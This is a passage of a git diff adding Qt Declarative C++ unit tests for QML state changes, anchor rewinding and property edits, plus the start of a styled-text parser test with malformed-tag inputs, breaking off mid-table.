+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().anchorLine, rectPrivate->right().anchorLine);
+
+ rectPrivate->setState("");
+ QCOMPARE(innerRect->x(), offsetRTL(rect, innerRect) -qreal(5));
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::anchorChangesRTL2()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges2.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+ mirrorAnchors(innerRect);
+
+ rectPrivate->setState("right");
+ QCOMPARE(innerRect->x(), offsetRTL(rect, innerRect) - qreal(150));
+
+ rectPrivate->setState("");
+ QCOMPARE(innerRect->x(), offsetRTL(rect, innerRect) - qreal(5));
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::anchorChangesRTL3()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChanges3.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QDeclarativeRectangle *innerRect = qobject_cast<QDeclarativeRectangle*>(rect->findChild<QDeclarativeRectangle*>("MyRect"));
+ QVERIFY(innerRect != 0);
+ mirrorAnchors(innerRect);
+
+ QDeclarativeItem *leftGuideline = qobject_cast<QDeclarativeItem*>(rect->findChild<QDeclarativeItem*>("LeftGuideline"));
+ QVERIFY(leftGuideline != 0);
+
+ QDeclarativeItem *bottomGuideline = qobject_cast<QDeclarativeItem*>(rect->findChild<QDeclarativeItem*>("BottomGuideline"));
+ QVERIFY(bottomGuideline != 0);
+
+ QDeclarativeListReference list(rect, "states");
+ QDeclarativeState *state = qobject_cast<QDeclarativeState*>(list.at(0));
+ QVERIFY(state != 0);
+
+ qmlExecuteDeferred(state);
+ QDeclarativeAnchorChanges *aChanges = qobject_cast<QDeclarativeAnchorChanges*>(state->operationAt(0));
+ QVERIFY(aChanges != 0);
+
+ rectPrivate->setState("reanchored");
+ QCOMPARE(aChanges->object(), qobject_cast<QDeclarativeItem*>(innerRect));
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().item, QDeclarativeItemPrivate::get(leftGuideline)->left().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->left().anchorLine, QDeclarativeItemPrivate::get(leftGuideline)->left().anchorLine);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().item, rectPrivate->right().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->right().anchorLine, rectPrivate->right().anchorLine);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->top().item, rectPrivate->top().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->top().anchorLine, rectPrivate->top().anchorLine);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->bottom().item, QDeclarativeItemPrivate::get(bottomGuideline)->bottom().item);
+ QCOMPARE(QDeclarativeItemPrivate::get(aChanges->object())->anchors()->bottom().anchorLine, QDeclarativeItemPrivate::get(bottomGuideline)->bottom().anchorLine);
+
+ QCOMPARE(innerRect->x(), offsetRTL(leftGuideline, innerRect) - qreal(10));
+ QCOMPARE(innerRect->y(), qreal(0));
+ // between left side of parent and leftGuideline.x: 10, which has width 0
+ QCOMPARE(innerRect->width(), qreal(10));
+ QCOMPARE(innerRect->height(), qreal(150));
+
+ rectPrivate->setState("");
+ QCOMPARE(innerRect->x(), offsetRTL(rect, innerRect) - qreal(0));
+ QCOMPARE(innerRect->y(), qreal(10));
+ // between right side of parent and left side of rightGuideline.x: 150, which has width 0
+ QCOMPARE(innerRect->width(), qreal(50));
+ QCOMPARE(innerRect->height(), qreal(190));
+
+ delete rect;
+}
+
+//QTBUG-9609
+void tst_qdeclarativestates::anchorChangesCrash()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorChangesCrash.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeItemPrivate::get(rect)->setState("reanchored");
+
+ delete rect;
+}
+
+// QTBUG-12273
+void tst_qdeclarativestates::anchorRewindBug()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorRewindBug.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeItem * column = rect->findChild<QDeclarativeItem*>("column");
+
+ QVERIFY(column != 0);
+ QVERIFY(!QDeclarativeItemPrivate::get(column)->heightValid);
+ QVERIFY(!QDeclarativeItemPrivate::get(column)->widthValid);
+ QCOMPARE(column->height(), 200.0);
+ QDeclarativeItemPrivate::get(rect)->setState("reanchored");
+
+ // column height and width should stay implicit
+ // and column's implicit resizing should still work
+ QVERIFY(!QDeclarativeItemPrivate::get(column)->heightValid);
+ QVERIFY(!QDeclarativeItemPrivate::get(column)->widthValid);
+ QCOMPARE(column->height(), 100.0);
+
+ QDeclarativeItemPrivate::get(rect)->setState("");
+
+ // column height and width should stay implicit
+ // and column's implicit resizing should still work
+ QVERIFY(!QDeclarativeItemPrivate::get(column)->heightValid);
+ QVERIFY(!QDeclarativeItemPrivate::get(column)->widthValid);
+ QCOMPARE(column->height(), 200.0);
+
+ delete rect;
+}
+
+// QTBUG-11834
+void tst_qdeclarativestates::anchorRewindBug2()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/anchorRewindBug2.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeRectangle *mover = rect->findChild<QDeclarativeRectangle*>("mover");
+
+ QVERIFY(mover != 0);
+ QCOMPARE(mover->y(), qreal(0.0));
+ QCOMPARE(mover->width(), qreal(50.0));
+
+ QDeclarativeItemPrivate::get(rect)->setState("anchored");
+ QCOMPARE(mover->y(), qreal(250.0));
+ QCOMPARE(mover->width(), qreal(200.0));
+
+ QDeclarativeItemPrivate::get(rect)->setState("");
+ QCOMPARE(mover->y(), qreal(0.0));
+ QCOMPARE(mover->width(), qreal(50.0));
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::script()
+{
+ QDeclarativeEngine engine;
+
+ {
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/script.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("blue")); // a script isn't reverted
+ }
+}
+
+void tst_qdeclarativestates::restoreEntryValues()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/restoreEntryValues.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("blue"));
+}
+
+void tst_qdeclarativestates::explicitChanges()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/explicit.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QDeclarativeListReference list(rect, "states");
+ QDeclarativeState *state = qobject_cast<QDeclarativeState*>(list.at(0));
+ QVERIFY(state != 0);
+
+ qmlExecuteDeferred(state);
+ QDeclarativePropertyChanges *changes = qobject_cast<QDeclarativePropertyChanges*>(rect->findChild<QDeclarativePropertyChanges*>("changes"));
+ QVERIFY(changes != 0);
+ QVERIFY(changes->isExplicit());
+
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rect->setProperty("sourceColor", QColor("green"));
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+ rect->setProperty("sourceColor", QColor("yellow"));
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("yellow"));
+}
+
+void tst_qdeclarativestates::propertyErrors()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/propertyErrors.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->color(),QColor("red"));
+
+ QTest::ignoreMessage(QtWarningMsg, fullDataPath("/data/propertyErrors.qml") + ":8:9: QML PropertyChanges: Cannot assign to non-existent property \"colr\"");
+ QTest::ignoreMessage(QtWarningMsg, fullDataPath("/data/propertyErrors.qml") + ":8:9: QML PropertyChanges: Cannot assign to read-only property \"activeFocus\"");
+ QDeclarativeItemPrivate::get(rect)->setState("blue");
+}
+
+void tst_qdeclarativestates::incorrectRestoreBug()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/basicChanges.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QCOMPARE(rect->color(),QColor("red"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+
+ // make sure if we change the base state value, we then restore to it correctly
+ rect->setColor(QColor("green"));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("green"));
+}
+
+void tst_qdeclarativestates::autoStateAtStartupRestoreBug()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent component(&engine, SRCDIR "/data/autoStateAtStartupRestoreBug.qml");
+ QObject *obj = component.create();
+
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->property("test").toInt(), 3);
+
+ obj->setProperty("input", 2);
+
+ QCOMPARE(obj->property("test").toInt(), 9);
+
+ delete obj;
+}
+
+void tst_qdeclarativestates::deletingChange()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/deleting.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+ QCOMPARE(rect->radius(),qreal(5));
+
+ rectPrivate->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+ QCOMPARE(rect->radius(),qreal(0));
+
+ QDeclarativePropertyChanges *pc = rect->findChild<QDeclarativePropertyChanges*>("pc1");
+ QVERIFY(pc != 0);
+ delete pc;
+
+ QDeclarativeState *state = rect->findChild<QDeclarativeState*>();
+ QVERIFY(state != 0);
+ qmlExecuteDeferred(state);
+ QCOMPARE(state->operationCount(), 1);
+
+ rectPrivate->setState("blue");
+ QCOMPARE(rect->color(),QColor("red"));
+ QCOMPARE(rect->radius(),qreal(5));
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::deletingState()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/deletingState.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeStateGroup *sg = rect->findChild<QDeclarativeStateGroup*>();
+ QVERIFY(sg != 0);
+ QVERIFY(sg->findState("blue") != 0);
+
+ sg->setState("blue");
+ QCOMPARE(rect->color(),QColor("blue"));
+
+ sg->setState("");
+ QCOMPARE(rect->color(),QColor("red"));
+
+ QDeclarativeState *state = rect->findChild<QDeclarativeState*>();
+ QVERIFY(state != 0);
+ delete state;
+
+ QVERIFY(sg->findState("blue") == 0);
+
+ //### should we warn that state doesn't exist
+ sg->setState("blue");
+ QCOMPARE(rect->color(),QColor("red"));
+
+ delete rect;
+}
+
+void tst_qdeclarativestates::tempState()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/legalTempState.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QTest::ignoreMessage(QtDebugMsg, "entering placed");
+ QTest::ignoreMessage(QtDebugMsg, "entering idle");
+ rectPrivate->setState("placed");
+ QCOMPARE(rectPrivate->state(), QLatin1String("idle"));
+}
+
+void tst_qdeclarativestates::illegalTempState()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/illegalTempState.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML StateGroup: Can't apply a state change as part of a state definition.");
+ rectPrivate->setState("placed");
+ QCOMPARE(rectPrivate->state(), QLatin1String("placed"));
+}
+
+void tst_qdeclarativestates::nonExistantProperty()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent rectComponent(&engine, SRCDIR "/data/nonExistantProp.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(rectComponent.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QTest::ignoreMessage(QtWarningMsg, fullDataPath("/data/nonExistantProp.qml") + ":9:9: QML PropertyChanges: Cannot assign to non-existent property \"colr\"");
+ rectPrivate->setState("blue");
+ QCOMPARE(rectPrivate->state(), QLatin1String("blue"));
+}
+
+void tst_qdeclarativestates::reset()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/reset.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeImage *image = rect->findChild<QDeclarativeImage*>();
+ QVERIFY(image != 0);
+ QCOMPARE(image->width(), qreal(40.));
+ QCOMPARE(image->height(), qreal(20.));
+
+ QDeclarativeItemPrivate::get(rect)->setState("state1");
+
+ QCOMPARE(image->width(), 20.0);
+ QCOMPARE(image->height(), qreal(20.));
+}
+
+void tst_qdeclarativestates::illegalObjectCreation()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent component(&engine, SRCDIR "/data/illegalObj.qml");
+ QList<QDeclarativeError> errors = component.errors();
+ QVERIFY(errors.count() == 1);
+ const QDeclarativeError &error = errors.at(0);
+ QCOMPARE(error.line(), 9);
+ QCOMPARE(error.column(), 23);
+ QCOMPARE(error.description().toUtf8().constData(), "PropertyChanges does not support creating state-specific objects.");
+}
+
+void tst_qdeclarativestates::whenOrdering()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/whenOrdering.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QCOMPARE(rectPrivate->state(), QLatin1String(""));
+ rect->setProperty("condition2", true);
+ QCOMPARE(rectPrivate->state(), QLatin1String("state2"));
+ rect->setProperty("condition1", true);
+ QCOMPARE(rectPrivate->state(), QLatin1String("state1"));
+ rect->setProperty("condition2", false);
+ QCOMPARE(rectPrivate->state(), QLatin1String("state1"));
+ rect->setProperty("condition2", true);
+ QCOMPARE(rectPrivate->state(), QLatin1String("state1"));
+ rect->setProperty("condition1", false);
+ rect->setProperty("condition2", false);
+ QCOMPARE(rectPrivate->state(), QLatin1String(""));
+}
+
+void tst_qdeclarativestates::urlResolution()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/urlResolution.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeItem *myType = rect->findChild<QDeclarativeItem*>("MyType");
+ QDeclarativeImage *image1 = rect->findChild<QDeclarativeImage*>("image1");
+ QDeclarativeImage *image2 = rect->findChild<QDeclarativeImage*>("image2");
+ QDeclarativeImage *image3 = rect->findChild<QDeclarativeImage*>("image3");
+ QVERIFY(myType != 0 && image1 != 0 && image2 != 0 && image3 != 0);
+
+ QDeclarativeItemPrivate::get(myType)->setState("SetImageState");
+ QUrl resolved = QUrl::fromLocalFile(SRCDIR "/data/Implementation/images/qt-logo.png");
+ QCOMPARE(image1->source(), resolved);
+ QCOMPARE(image2->source(), resolved);
+ QCOMPARE(image3->source(), resolved);
+}
+
+void tst_qdeclarativestates::unnamedWhen()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/unnamedWhen.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QCOMPARE(rectPrivate->state(), QLatin1String(""));
+ QCOMPARE(rect->property("stateString").toString(), QLatin1String(""));
+ rect->setProperty("triggerState", true);
+ QCOMPARE(rectPrivate->state(), QLatin1String("anonymousState1"));
+ QCOMPARE(rect->property("stateString").toString(), QLatin1String("inState"));
+ rect->setProperty("triggerState", false);
+ QCOMPARE(rectPrivate->state(), QLatin1String(""));
+ QCOMPARE(rect->property("stateString").toString(), QLatin1String(""));
+}
+
+void tst_qdeclarativestates::returnToBase()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/returnToBase.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QCOMPARE(rectPrivate->state(), QLatin1String(""));
+ QCOMPARE(rect->property("stateString").toString(), QLatin1String(""));
+ rect->setProperty("triggerState", true);
+ QCOMPARE(rectPrivate->state(), QLatin1String("anonymousState1"));
+ QCOMPARE(rect->property("stateString").toString(), QLatin1String("inState"));
+ rect->setProperty("triggerState", false);
+ QCOMPARE(rectPrivate->state(), QLatin1String(""));
+ QCOMPARE(rect->property("stateString").toString(), QLatin1String("originalState"));
+}
+
+//QTBUG-12559
+void tst_qdeclarativestates::extendsBug()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/extendsBug.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QDeclarativeRectangle *greenRect = rect->findChild<QDeclarativeRectangle*>("greenRect");
+
+ rectPrivate->setState("b");
+ QCOMPARE(greenRect->x(), qreal(100));
+ QCOMPARE(greenRect->y(), qreal(100));
+}
+
+void tst_qdeclarativestates::editProperties()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/editProperties.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+
+ QDeclarativeStateGroup *stateGroup = rectPrivate->_states();
+ QVERIFY(stateGroup != 0);
+ qmlExecuteDeferred(stateGroup);
+
+ QDeclarativeState *blueState = stateGroup->findState("blue");
+ QVERIFY(blueState != 0);
+ qmlExecuteDeferred(blueState);
+
+ QDeclarativePropertyChanges *propertyChangesBlue = qobject_cast<QDeclarativePropertyChanges*>(blueState->operationAt(0));
+ QVERIFY(propertyChangesBlue != 0);
+
+ QDeclarativeState *greenState = stateGroup->findState("green");
+ QVERIFY(greenState != 0);
+ qmlExecuteDeferred(greenState);
+
+ QDeclarativePropertyChanges *propertyChangesGreen = qobject_cast<QDeclarativePropertyChanges*>(greenState->operationAt(0));
+ QVERIFY(propertyChangesGreen != 0);
+
+ QDeclarativeRectangle *childRect = rect->findChild<QDeclarativeRectangle*>("rect2");
+ QVERIFY(childRect != 0);
+ QCOMPARE(childRect->width(), qreal(402));
+ QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width")));
+ QCOMPARE(childRect->height(), qreal(200));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(childRect->width(), qreal(50));
+ QCOMPARE(childRect->height(), qreal(40));
+ QVERIFY(!QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width")));
+ QVERIFY(blueState->bindingInRevertList(childRect, "width"));
+
+
+ rectPrivate->setState("green");
+ QCOMPARE(childRect->width(), qreal(200));
+ QCOMPARE(childRect->height(), qreal(100));
+ QVERIFY(greenState->bindingInRevertList(childRect, "width"));
+
+
+ rectPrivate->setState("");
+
+
+ QCOMPARE(propertyChangesBlue->actions().length(), 2);
+ QVERIFY(propertyChangesBlue->containsValue("width"));
+ QVERIFY(!propertyChangesBlue->containsProperty("x"));
+ QCOMPARE(propertyChangesBlue->value("width").toInt(), 50);
+ QVERIFY(!propertyChangesBlue->value("x").isValid());
+
+ propertyChangesBlue->changeValue("width", 60);
+ QCOMPARE(propertyChangesBlue->value("width").toInt(), 60);
+ QCOMPARE(propertyChangesBlue->actions().length(), 2);
+
+
+ propertyChangesBlue->changeExpression("width", "myRectangle.width / 2");
+ QVERIFY(!propertyChangesBlue->containsValue("width"));
+ QVERIFY(propertyChangesBlue->containsExpression("width"));
+ QCOMPARE(propertyChangesBlue->value("width").toInt(), 0);
+ QCOMPARE(propertyChangesBlue->actions().length(), 2);
+
+ propertyChangesBlue->changeValue("width", 50);
+ QVERIFY(propertyChangesBlue->containsValue("width"));
+ QVERIFY(!propertyChangesBlue->containsExpression("width"));
+ QCOMPARE(propertyChangesBlue->value("width").toInt(), 50);
+ QCOMPARE(propertyChangesBlue->actions().length(), 2);
+
+ QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width")));
+ rectPrivate->setState("blue");
+ QCOMPARE(childRect->width(), qreal(50));
+ QCOMPARE(childRect->height(), qreal(40));
+
+ propertyChangesBlue->changeValue("width", 60);
+ QCOMPARE(propertyChangesBlue->value("width").toInt(), 60);
+ QCOMPARE(propertyChangesBlue->actions().length(), 2);
+ QCOMPARE(childRect->width(), qreal(60));
+ QVERIFY(!QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width")));
+
+ propertyChangesBlue->changeExpression("width", "myRectangle.width / 2");
+ QVERIFY(!propertyChangesBlue->containsValue("width"));
+ QVERIFY(propertyChangesBlue->containsExpression("width"));
+ QCOMPARE(propertyChangesBlue->value("width").toInt(), 0);
+ QCOMPARE(propertyChangesBlue->actions().length(), 2);
+ QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width")));
+ QCOMPARE(childRect->width(), qreal(200));
+
+ propertyChangesBlue->changeValue("width", 50);
+ QCOMPARE(childRect->width(), qreal(50));
+
+ rectPrivate->setState("");
+ QCOMPARE(childRect->width(), qreal(402));
+ QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width")));
+
+ QCOMPARE(propertyChangesGreen->actions().length(), 2);
+ rectPrivate->setState("green");
+ QCOMPARE(childRect->width(), qreal(200));
+ QCOMPARE(childRect->height(), qreal(100));
+ QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width")));
+ QVERIFY(greenState->bindingInRevertList(childRect, "width"));
+ QCOMPARE(propertyChangesGreen->actions().length(), 2);
+
+
+ propertyChangesGreen->removeProperty("height");
+ QVERIFY(!QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "height")));
+ QCOMPARE(childRect->height(), qreal(200));
+
+ QVERIFY(greenState->bindingInRevertList(childRect, "width"));
+ QVERIFY(greenState->containsPropertyInRevertList(childRect, "width"));
+ propertyChangesGreen->removeProperty("width");
+ QVERIFY(QDeclarativePropertyPrivate::binding(QDeclarativeProperty(childRect, "width")));
+ QCOMPARE(childRect->width(), qreal(402));
+ QVERIFY(!greenState->bindingInRevertList(childRect, "width"));
+ QVERIFY(!greenState->containsPropertyInRevertList(childRect, "width"));
+
+ propertyChangesBlue->removeProperty("width");
+ QCOMPARE(childRect->width(), qreal(402));
+
+ rectPrivate->setState("blue");
+ QCOMPARE(childRect->width(), qreal(402));
+ QCOMPARE(childRect->height(), qreal(40));
+}
+
+void tst_qdeclarativestates::QTBUG_14830()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/QTBUG-14830.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItem *item = rect->findChild<QDeclarativeItem*>("area");
+
+ QCOMPARE(item->width(), qreal(171));
+}
+
+QTEST_MAIN(tst_qdeclarativestates)
+
+#include "tst_qdeclarativestates.moc"
diff --git a/tests/auto/declarative/qdeclarativestyledtext/qdeclarativestyledtext.pro b/tests/auto/declarative/qdeclarativestyledtext/qdeclarativestyledtext.pro
new file mode 100644
index 00000000..87d0e5b5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestyledtext/qdeclarativestyledtext.pro
@@ -0,0 +1,11 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+QT += network
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativestyledtext.cpp
+
+# QMAKE_CXXFLAGS = -fprofile-arcs -ftest-coverage
+# LIBS += -lgcov
+
+CONFIG += parallel_test
diff --git a/tests/auto/declarative/qdeclarativestyledtext/tst_qdeclarativestyledtext.cpp b/tests/auto/declarative/qdeclarativestyledtext/tst_qdeclarativestyledtext.cpp
new file mode 100644
index 00000000..2b065987
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestyledtext/tst_qdeclarativestyledtext.cpp
@@ -0,0 +1,101 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtTest/QtTest>
+#include <QtGui/QTextLayout>
+#include <private/qdeclarativestyledtext_p.h>
+
+class tst_qdeclarativestyledtext : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativestyledtext()
+ {
+ }
+
+private slots:
+ void textOutput();
+ void textOutput_data();
+};
+
+// For malformed input all we test is that we get the expected text out.
+//
+void tst_qdeclarativestyledtext::textOutput_data()
+{
+ QTest::addColumn<QString>("input");
+ QTest::addColumn<QString>("output");
+
+ QTest::newRow("bold") << "<b>bold</b>" << "bold";
+ QTest::newRow("italic") << "<b>italic</b>" << "italic";
+ QTest::newRow("missing >") << "<b>text</b" << "text";
+ QTest::newRow("missing b>") << "<b>text</" << "text";
+ QTest::newRow("missing /b>") << "<b>text<" << "text";
